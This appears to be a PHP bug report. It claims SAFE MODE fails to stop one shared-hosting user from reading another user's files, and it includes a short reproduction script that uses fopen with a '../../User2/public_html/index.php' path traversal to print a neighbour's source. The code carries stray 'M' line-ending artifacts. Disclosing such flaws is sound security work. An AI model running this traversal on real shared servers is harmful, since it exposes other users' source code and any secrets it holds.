Description:
------------
I found bug? if i use SAFE MODE and function fopen I may show other document diferent user, make rwxrw-rw attribute on public_html home directrory

User1 
public_html rwxrw-rw-
cack.php
$data="";M
$fp=fopen("../../User2/public_html/index.php","r");M
while(!feof($fp)){M
        $data.=fread($fp,1024);
}M
fclose($fp);M
highlight_string($data);M

User2
public_html rwxr-xr-x
index.php

Reproduce code:
---------------
<?
$data="";M
$fp=fopen("../../User2/public_html/index.php","r");M
while(!feof($fp)){M
        $data.=fread($fp,1024);
}M
fclose($fp);M
highlight_string($data);M
?>